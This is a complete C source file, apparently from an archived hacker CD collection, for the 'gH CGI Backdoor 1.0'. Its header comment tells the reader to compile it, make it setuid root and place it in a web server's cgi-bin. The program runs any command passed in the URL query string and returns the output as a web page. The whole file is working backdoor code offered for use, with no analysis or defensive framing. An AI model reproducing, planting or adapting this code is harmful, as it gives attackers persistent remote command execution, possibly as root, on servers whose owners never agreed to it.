home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 4 / hacker04 / 04_HACK04.ISO / xploits / gh / gH-cgi.c
Encoding:
C/C++ Source or Header  |  2002-03-18  |  1.9 KB  |  93 lines

  1. /*
  2.  * gH CGI Backdoor 1.0
  3.  *
  4.  * Install:
  5.  * -------------------------------
  6.  *   % gcc -o gH.cgi gH-cgi.c
  7.  *   % chown root.root gH.cgi
  8.  *   % chmod 4755 gH.cgi
  9.  * -------------------------------
  10.  * Tested with apache 1.3.4
  11.  *
  12.  * Note: place gH.cgi in a cgi-bin directory
  13.  *
  14.  *      blasphemy (cornoil@netscape.net)
  15.  *
  16.  */
  17.  
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <string.h>
  21.  
  22. #define    TITLE    "gH CGI Backdoor"
  23.  
  24. char x2c(char *what);
  25. int header();
  26. int footer();
  27.  
  28. int
  29. main() {
  30.    FILE *out;
  31.    char *qs = (char *)malloc(256);
  32.    int x = 0, i = 0, c = 0, f = 0;
  33.     qs = getenv("QUERY_STRING");
  34.     if (qs != NULL) {
  35.         for (x = 0, i = 0; qs[i]; x++, i++) {
  36.             if ((qs[x] = qs[i]) == '%') {
  37.                 qs[x] = x2c(&qs[i + 1]);
  38.                 i += 2;
  39.               }
  40.           }
  41.         qs[x] = '\0';
  42.         for (x = 0; qs[x]; x++) {
  43.             if (qs[x] == '+') {
  44.                 qs[x] = ' ';
  45.               }
  46.           }
  47.         header(qs);
  48.         out = popen(qs, "r");
  49.         if (out != NULL) {
  50.             while (c != EOF) {
  51.                 c = fgetc(out);
  52.                 if (c != EOF && c != '\0') {
  53.                     printf("%c", (char) c);
  54.                     f++;
  55.                   }
  56.               }
  57.             pclose(out);
  58.         }
  59.         if (f == 0 && strcmp(qs, "") != 0)
  60.             printf("gH: %s: command not found\n", qs);
  61.     }
  62.     footer();
  63.    return(0);
  64. }
  65.  
  66. char x2c(char *what)
  67. {
  68.   register char digit;
  69.           
  70.   digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A')+10 : (what[0] - '0'));
  71.   digit *= 16;
  72.   digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A')+10 : (what[1] - '0'));
  73.   return (digit);
  74. }
  75.  
  76. int
  77. header(char *qs) {
  78.     printf("Content-type: text/html\n\n");
  79.     printf("<html>\n<head><title>%s</title></head>\n", TITLE);
  80.     printf("<body bgcolor=\"#ffffff\">\n");
  81.     printf("<dir><h1>%s</h1>\n", TITLE);
  82.         printf("<ISINDEX prompt=\"Command to Execute: \">\n");
  83.     printf("<br><b>Command output:</b> [<em>%s</em>]\n", qs);
  84.         printf("<br><pre>\n");
  85. }
  86.  
  87. int
  88. footer() {
  89.     printf("</pre>\n</dir>\n</body></html>\n");
  90. }
  91.  
  92.  
  93.